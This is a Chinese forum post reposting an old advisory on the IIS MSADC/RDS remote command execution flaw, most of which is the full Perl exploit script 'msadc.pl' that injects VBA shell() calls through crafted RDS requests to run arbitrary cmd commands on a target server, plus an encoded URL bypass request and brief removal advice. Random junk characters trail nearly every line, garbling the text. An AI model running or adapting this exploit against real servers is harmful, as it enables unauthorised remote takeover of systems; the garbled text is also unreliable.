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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) fszeJS}Dw  
P[K T  
涉及程序: tce8*:rNH  
Microsoft NT server mK/P4]9g  
&jd<rs5}  
描述: } ZGpd9D  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 &8L\FAY0%9  
TmH13N]  
详细: AQU: 0  
如果你没有时间读详细内容的话,就删除: AdW7 vn  
c:\Program Files\Common Files\System\Msadc\msadcs.dll ]Y! Vyn  
有关的安全问题就没有了。 eV}Tx;1|}  
m*,[1oeG&  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 ;P#*R3   
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1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 PX/0  jv  
关于利用ODBC远程漏洞的描述,请参看: -{mq\GvGn  
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http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm mQuaO# I,  
(19<8a9G  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 xM,(|p(  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp YIqfGXu8  
<OB~60h"  
这里不再论述。 }-iOYSn  
[p<[83' ]  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: DMW:%h{  
&cE,9o%FZ  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset W4Q]<<6&  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! z9w.=[Io  
3o^M%  
5aQg^f%\  
#将下面这段保存为txt文件,然后: "perl -x 文件名"  p$v +L  
y5h[^K3  
#!perl f/m6q8!L{  
# >*CK@"o  
# MSADC/RDS 'usage' (aka exploit) script -2d&Aq4m)  
# FQl|<l6  
# by rain.forest.puppy JFdzA  
# [)u{-  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me :E*U*#h/  
# beta test and find errors! NWj@iyi<  
C =U4|h~W  
use Socket; use Getopt::Std; `^{P,N>X  
getopts("e:vd:h:XR", \%args); CgE5;O  
zf u78  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; *?Y6qalSy  
5)6%D  
if (!defined $args{h} && !defined $args{R}) { +06j+I  
print qq~ lNAHn<ht  
Usage: msadc.pl -h <host> { -d <delay> -X -v } WQ`T'k#ESW  
-h <host> = host you want to scan (ip or domain) i(rY'o2 BN  
-d <seconds> = delay between calls, default 1 second KR0 x[#.*  
-X = dump Index Server path table, if available %Ski5q  
-v = verbose i*j+<R@  
-e = external dictionary file for step 5 `h6W@ROb  
INpub 5  
Or a -R will resume a command session 49GCj`As  
_r'M^=yx[  
~; exit;} 3J<,2  
{Wo7=aR  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; 1fZ:^|\  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} 1YL5 ![T  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} bux-t3g7+  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); L;`t%1  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} k6S<46}h|  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } O?Tg`]EX  
? Y* PVx9Y  
if (!defined $args{R}){ $ret = &has_msadc; YZ@-0_Z  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} \f#ao<vQm  
Ymom 0g+ f  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" YvX I  
. "cmd /c "; Zlo,#q  
$in=<STDIN>; chomp $in; ") D!OW]  
$command="cmd /c " . $in ; qC1@p?8$  
-^DB?j+  
if (defined $args{R}) {&load; exit;} t;3.;  
Y[4B{  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; ow "Xv  
&try_btcustmr; ;0'v`ob'.?  
Z ngJ9js  
print "\nStep 2: Trying to make our own DSN..."; @35 shLs  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; +_Z/VQv  
_!zY(9%  
print "\nStep 3: Trying known DSNs..."; pkx>6(Y  
&known_dsn; vKf=t&gqr  
g=Di2j{A  
print "\nStep 4: Trying known .mdbs..."; -f=hL7NW  
&known_mdb; /jD'o>  
KG$2u:n  
if (defined $args{e}){ 9j`-fs@:  
print "\nStep 5: Trying dictionary of DSN names..."; |{T2|iJI  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } }__+[-  
A$cbH.  
print "Sorry Charley...maybe next time?\n"; h;->i]  
exit; -yeT$P&|  
ZI7<E  
############################################################################## F04Etf 2k  
at!?"u  
sub sendraw { # ripped and modded from whisker ~@JC1+  
sleep($delay); # it's a DoS on the server! At least on mine... & j43DYw4  
my ($pstr)=@_; L%FL{G  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || #ZA YP  
die("Socket problems\n"); M %~kh"  
if(connect(S,pack "SnA4x8",2,80,$target)){ ^>fs  
select(S); $|=1; "L]_NS T  
print $pstr; my @in=<S>; yhaYlYv[_3  
select(STDOUT); close(S); oWmla*nCKL  
return @in; /eQn$ZRP,  
} else { die("Can't connect...\n"); }} V_!i KEU  
Pp2 )P7  
############################################################################## "dOzQz*E  
\~PFD%]:3  
sub make_header { # make the HTTP request ?F/3]lsggT  
my $msadc=<<EOT ]_s]Q_+E  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 LxT] -  
User-Agent: ACTIVEDATA 3nO|A: t  
Host: $ip n>WS@b/o  
Content-Length: $clen tF|bxXs Z  
Connection: Keep-Alive (&(f`c@I  
PW}.`  
ADCClientVersion:01.06 1*fA>v  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 _Gu ;U@  
&,zeBFmc  
--!ADM!ROX!YOUR!WORLD! Y{KJk'xN5W  
Content-Type: application/x-varg -MjRFa  
Content-Length: $reqlen KVuv%?  
\"SI-`x  
EOT w8qI7/  
; $msadc=~s/\n/\r\n/g; y.zQ `  
return $msadc;} f@0`,  
c,@6MeKHq  
############################################################################## v,;?+Ck  
duI8^&|  
sub make_req { # make the RDS request \cG'3\GI  
my ($switch, $p1, $p2)=@_; 5WUrRQ?E  
my $req=""; my $t1, $t2, $query, $dsn; C7{wI`~  
Q*he%@w  
if ($switch==1){ # this is the btcustmr.mdb query y_6HQ:  
$query="Select * from Customers where City=" . make_shell(); ?@_dx=su  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . rfjQx]3pB  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} V;"'!dVX  
nFqMS|EN  
elsif ($switch==2){ # this is general make table query ' vwBG=9C  
$query="create table AZZ (B int, C varchar(10))"; 6{M.S}.^  
$dsn="$p1";} x?3p3[y  
Z(L>~+%  
elsif ($switch==3){ # this is general exploit table query pfT7  
$query="select * from AZZ where C=" . make_shell(); SZ_hGD0  
$dsn="$p1";} AF@C9s  
y{&,YV&_h  
elsif ($switch==4){ # attempt to hork file info from index server nMhc3t  
$query="select path from scope()"; .NKN2  
$dsn="Provider=MSIDXS;";} DCj!m<Y&  
!>Xx</iD1  
elsif ($switch==5){ # bad query L|<Mtw  
$query="select"; + '`RJ,K+[  
$dsn="$p1";} CVm*Q[5s"  
R:Lu)d>=  
$t1= make_unicode($query); 4T:ZEvdzf  
$t2= make_unicode($dsn); 4Xz|HU?  
$req = "\x02\x00\x03\x00"; _#+i;$cO-X  
$req.= "\x08\x00" . pack ("S1", length($t1)); %X3T<3<  
$req.= "\x00\x00" . $t1 ; D<MtLwH  
$req.= "\x08\x00" . pack ("S1", length($t2)); O%Mh g\#B  
$req.= "\x00\x00" . $t2 ; n3(HA  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; fc91D]c  
return $req;} tm$3ZzP4  
.MKxHM7  
############################################################################## 0^+W"O  
1W U-gQki!  
sub make_shell { # this makes the shell() statement >a<;)K^1  
return "'|shell(\"$command\")|'";} t?\osPL  
v[m>;Ubg&  
############################################################################## 4h|vd.t  
[Y[|:_+5  
sub make_unicode { # quick little function to convert to unicode fA8 ,wy|>  
my ($in)=@_; my $out; Q-\: u~  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }  #u~8Txt  
return $out;} R#0UwRjeF  
8 =d9*lm  
############################################################################## \|Mz'*  
~Y{K ^:wN^  
sub rdo_success { # checks for RDO return success (this is kludge) ~%]+5^Ka]  
my (@in) = @_; my $base=content_start(@in); d/MMPge3  
if($in[$base]=~/multipart\/mixed/){ ){v nmJJ%  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} -{dw Ll_  
return 0;} 7*sB"_U2  
j9%=^ZoQj  
############################################################################## {'/8{dS  
Hxjh P(  
sub make_dsn { # this makes a DSN for us +U[A.^t  
my @drives=("c","d","e","f"); }u :sh >2  
print "\nMaking DSN: "; m 9r X  
foreach $drive (@drives) { [|vd r.  
print "$drive: "; b<%6aRC\  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . #}.db?[Rv  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" .k}h'nE  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); )/UkJ/}j  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; 0VPa=AW  
return 0 if $2 eq "404"; # not found/doesn't exist d2pVO]l YZ  
if($2 eq "200") { ]c08`  
foreach $line (@results) { v''$qMQ)  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} MZ0 J/@(  
} return 0;} 8{AzB8xp  
'Ag?#vB  
############################################################################## SO|$X  
p?5zwdX+`  
sub verify_exists { @>:r'Fmu-  
my ($page)=@_; O %OeYO69  
my @results=sendraw("GET $page HTTP/1.0\n\n"); 4oJ0,u  
return $results[0];} tlj^0  
YtFtU;{  
############################################################################## % _N-:.S  
&T{+B:*v  
sub try_btcustmr { \j4TDCs_[  
my @drives=("c","d","e","f"); e7-U0rrE  
my @dirs=("winnt","winnt35","winnt351","win","windows"); _di[PU=Vh  
z&w@67 >j  
foreach $dir (@dirs) { %k9GoX_  
print "$dir -> "; # fun status so you can see progress y:mXv<g  
foreach $drive (@drives) { V V<Zl  
print "$drive: "; # ditto Z\n nVM=  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; Gx!Y 4Q}-  
$reqlenlen=length( "$reqlen" ); o<Q~pd#Ip,  
$clen= 206 + $reqlenlen + $reqlen; >mz<=n  
HZ/e^"cpM  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); 8RB\P:6h  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} Bx)4BPaN  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} opd^|xx0  
~OXPn9qPp  
############################################################################## "~XAD(T6  
}}<^f M  
sub odbc_error { s$A|>TOY  
my (@in)=@_; my $base; WOh?/F[@u  
my $base = content_start(@in); J%{>I   
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this Y-v6xUc{F  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; (m13 ong  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ^)TZHc2a[  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; D KR2b`J  
return $in[$base+4].$in[$base+5].$in[$base+6];} qeypa !  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; nPE{Gp) }  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . r3'0{Nn+  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} 8 K'3iw>z  
V3 2F  
############################################################################## XsEDI?p2  
?g}G#j  
sub verbose { ,VI2dNst\  
my ($in)=@_; `ml  
return if !$verbose; U&GSMjqg  
print STDOUT "\n$in\n";} C h>r.OfP  
)m|)cLT&  
############################################################################## ,XU<2jv]  
H>X:#xOA_  
sub save { 1 Qln|b8<  
my ($p1, $p2, $p3, $p4)=@_; \<TWy&2&  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; +xp)la.  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; !#3v<_]#d  
close OUT;} *jM]:GpyoU  
f["c,,[  
############################################################################## ^? }-x  
XkDIP4v%  
sub load { I|(r1.[K  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; {{qu:(_g  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); Zcjh  
@p=<IN>; close(IN); *lc|iq\  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); u^, eHO  
$target= inet_aton($ip) || die("inet_aton problems"); DZ"'GQSg  
print "Resuming to $ip ..."; W^k95%zBM  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; fS?}(7  
if($p[1]==1) { ^VOFkUp)  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; evjj~xkte  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; sFt"2TVr3  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); ?k@^U9?R  
if (rdo_success(@results)){print "Success!\n";} Ir#]p9:x  
else { print "failed\n"; verbose(odbc_error(@results));}} [>![ViX  
elsif ($p[1]==3){ pLSh +*F  
if(run_query("$p[3]")){ F JCs$0  
print "Success!\n";} else { print "failed\n"; }} 7H.3.j(L  
elsif ($p[1]==4){ H\RejGR  
if(run_query($drvst . "$p[3]")){ Ym%XCl  
print "Success!\n"; } else { print "failed\n"; }} _0}u0fk  
exit;} Ogv9_ X8  
>e>%AMzo[  
############################################################################## {>g{+Eq  
ia@ |+r  
sub create_table { $O3.ex V  
my ($in)=@_; gWQ(B  
$reqlen=length( make_req(2,$in,"") ) - 28; =U'!<w<-  
$reqlenlen=length( "$reqlen" ); 9k /L m  
$clen= 206 + $reqlenlen + $reqlen; AO, o|,#4F  
my @results=sendraw(make_header() . make_req(2,$in,"")); C cPOK2  
return 1 if rdo_success(@results); 9:R3+,ZN  
my $temp= odbc_error(@results); verbose($temp); A*G ~#v^  
return 1 if $temp=~/Table 'AZZ' already exists/; ,<k%'a!B  
return 0;} 1%ENgb:8  
L+N\B@ 0-  
############################################################################## -^+fZBU;  
^hNl6)hR  
sub known_dsn { `J] e.K  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go u8.F_'`z  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", #/_{(P  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", 't6l@ _x  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); I3HO><o f  
)pSA|Qt N  
foreach $dSn (@dsns) { t W+"/<U  
print "."; \HXq~Y  
next if (!is_access("DSN=$dSn")); zZ6m`]{B9?  
if(create_table("DSN=$dSn")){ eSQkW  
print "$dSn successful\n"; d~ +(g!  
if(run_query("DSN=$dSn")){ EHN(K-  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { OClG dFJ|  
print "Something's borked. Use verbose next time\n";}}} print "\n";} NOg/rDs'{  
0<7sM#sI!  
############################################################################## k4a51[SYBK  
_3(rwD  
sub is_access { !wN2BCSY@  
my ($in)=@_; \3OEC`  
$reqlen=length( make_req(5,$in,"") ) - 28; Ge_fU'F  
$reqlenlen=length( "$reqlen" ); Q3Pu<j}Y  
$clen= 206 + $reqlenlen + $reqlen; URceq2_  
my @results=sendraw(make_header() . make_req(5,$in,"")); yDfH`]i)U  
my $temp= odbc_error(@results); nNq<x^@83  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); l`.z^+!8@  
return 0;} D&i\dgbK  
p[w! SR%=  
############################################################################## LN~mKoW  
d?&`Z Vl  
sub run_query { .W^B(y(tA  
my ($in)=@_; /78]u^SW  
$reqlen=length( make_req(3,$in,"") ) - 28; }f;WYz5  
$reqlenlen=length( "$reqlen" ); /{f"0]-RA  
$clen= 206 + $reqlenlen + $reqlen; T%% 0W J  
my @results=sendraw(make_header() . make_req(3,$in,"")); 9dq"x[  
return 1 if rdo_success(@results); )X-'Q-  
my $temp= odbc_error(@results); verbose($temp); 8t Q;N'  
return 0;} XwUa|"X6  
?r KbL^2  
############################################################################## u$ yXuFj/  
Vbt!, 2_)  
sub known_mdb { f";pfu_FZ  
my @drives=("c","d","e","f","g"); [I=|"Ic~  
my @dirs=("winnt","winnt35","winnt351","win","windows"); rCwE$5 b  
my $dir, $drive, $mdb; w i[9RD@  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; i,h30J  
FY^2 Y  
# this is sparse, because I don't know of many Q66 +  
my @sysmdbs=( "\\catroot\\icatalog.mdb", c ef[T(>  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", tPl 4'tW_  
"\\system32\\certmdb.mdb", w]t'2p-'  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% }[Z'Sg]s  
+l^tT&s;f  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", u"q5 6}Q?]  
"\\cfusion\\cfapps\\forums\\forums_.mdb", vP x/&x  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", ~v%6*9  
"\\cfusion\\cfapps\\security\\realm_.mdb", u8T@W}FX  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", uLafO=Q  
"\\cfusion\\database\\cfexamples.mdb", w%.hALN5-C  
"\\cfusion\\database\\cfsnippets.mdb", (IBT|K  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", XjF@kQeM=  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", j1KNgAo<4  
"\\cfusion\\brighttiger\\database\\cleam.mdb", arDl2T,igF  
"\\cfusion\\database\\smpolicy.mdb", g!R7CRt%  
"\\cfusion\\database\cypress.mdb", H,]8[ qT<  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", n1J u =C  
"\\website\\cgi-win\\dbsample.mdb", kh9'W<tE  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", u Jqv@GFv  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" &EqLF  
); #these are just PFuhvw~?  
foreach $drive (@drives) { nm@ h5ON_  
foreach $dir (@dirs){ z3y{0<3  
foreach $mdb (@sysmdbs) { AY{KxCr b^  
print "."; 'g!T${  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ #h?I oB7  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; q)i %*IY  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ ?D6uviQg  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; 6LBdTnzUd  
} else { print "Something's borked. Use verbose next time\n"; }}}}} jd](m:eG  
\= v.$u"c  
foreach $drive (@drives) { Hl,{4%]  
foreach $mdb (@mdbs) { >=[uLY[aK  
print "."; S[1<Qrv]  
if(create_table($drv . $drive . $dir . $mdb)){ hE|P|0U,n  
print "\n" . $drive . $dir . $mdb . " successful\n"; .Q%Hi7JMi  
if(run_query($drv . $drive . $dir . $mdb)){ ,c4HicRJ#  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; ~f h  
} else { print "Something's borked. Use verbose next time\n"; }}}} 4p,:}h  
} y6nP=g|')>  
0n{.96r0R  
############################################################################## RNi%6A1  
\IE![=p\w  
sub hork_idx { -NXxxK  
print "\nAttempting to dump Index Server tables...\n"; !HvA5'|:}  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; pR$(V4>  
$reqlen=length( make_req(4,"","") ) - 28; D`T;j[SsS#  
$reqlenlen=length( "$reqlen" );  !BsQJ_H  
$clen= 206 + $reqlenlen + $reqlen; ~Jk& !IE2  
my @results=sendraw2(make_header() . make_req(4,"","")); ,B[j{sE  
if (rdo_success(@results)){ ^+SE_-+]  
my $max=@results; my $c; my %d; fZ$b8  
for($c=19; $c<$max; $c++){ T&lgWOls  
$results[$c]=~s/\x00//g; TI'v /=;)  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; =vbG'_[7  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; 053bM)qW  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; uZC=]Ieh  
$d{"$1$2"}="";} 3[ xdls  
foreach $c (keys %d){ print "$c\n"; } ECOJ .^  
} else {print "Index server doesn't seem to be installed.\n"; }} ~Q&J\'GQH  
HU'Mi8xxy  
############################################################################## M76p=*  
5EFt0?G   
sub dsn_dict { 2#>;cn\  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); hZx&j{  
while(<IN>){ |}z)>E  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; 17 Ugz?  
next if (!is_access("DSN=$dSn")); 4rU/2}. q  
if(create_table("DSN=$dSn")){ ( zWBrCX  
print "$dSn successful\n"; =6u@ JpOl  
if(run_query("DSN=$dSn")){ Wef%f] u  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Vh^y6U<  
print "Something's borked. Use verbose next time\n";}}} /eI|m9ke  
print "\n"; close(IN);} G&ck98  
0 0N[ : %  
############################################################################## .xN<<+|_v'  
vqSpF6F q  
sub sendraw2 { # ripped and modded from whisker F\ B/q  
sleep($delay); # it's a DoS on the server! At least on mine... =rA?,74  
my ($pstr)=@_; J8 qFdNK  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || XwY,xg&o  
die("Socket problems\n"); AELj"=RA  
if(connect(S,pack "SnA4x8",2,80,$target)){ "+(|]q"W  
print "Connected. Getting data"; N d].(_  
open(OUT,">raw.out"); my @in; ubwM*P  
select(S); $|=1; print $pstr; jH< #)R  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} 1&|]8=pG7  
close(OUT); select(STDOUT); close(S); return @in; Ymz/:  
} else { die("Can't connect...\n"); }} p F{jIXu  
 6:zPWJB  
############################################################################## J$#T_4 )  
.PB!1C.}@  
sub content_start { # this will take in the server headers ON,[!pc  
my (@in)=@_; my $c; Pk;\^DRC  
for ($c=1;$c<500;$c++) { |Xt.[1  
if($in[$c] =~/^\x0d\x0a/){ AY /9Io-  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } MTu\T  
else { return $c+1; }}} rtj/&>  
return -1;} # it should never get here actually h.edb6  
y98FEG#S}  
############################################################################## NM{)liP ;8  
N3%#JdzZ$  
sub funky { 1}d F,e  
my (@in)=@_; my $error=odbc_error(@in); !D=!  
if($error=~/ADO could not find the specified provider/){ LCivZ0?|X  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; riIubX#  
exit;} tm~9XFQ<  
if($error=~/A Handler is required/){ t]h_w7!U  
print "\nServer has custom handler filters (they most likely are patched)\n"; $gl|^c\  
exit;} /HdXJL9B  
if($error=~/specified Handler has denied Access/){ %g9y m@s  
print "\nServer has custom handler filters (they most likely are patched)\n"; 4|?(LHBD)  
exit;}} ]3 "0#Y  
[+\He/M6  
############################################################################## 2u]G]: ml  
Wd'}YbC  
sub has_msadc { vFUp$[  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); k-~}KlP  
my $base=content_start(@results); p/{%%30ke  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); In?rQiD9  
return 0;} ^T&{ORWz  
WsHD Ip  
######################## fEBi'Ad  
%r^tZ;; l  
 .\oz  
解决方案: Ic'D# m  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll G#%Sokkb'  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 )<QX2~m<  
mZiKA-t  
拿出来充数 哈哈
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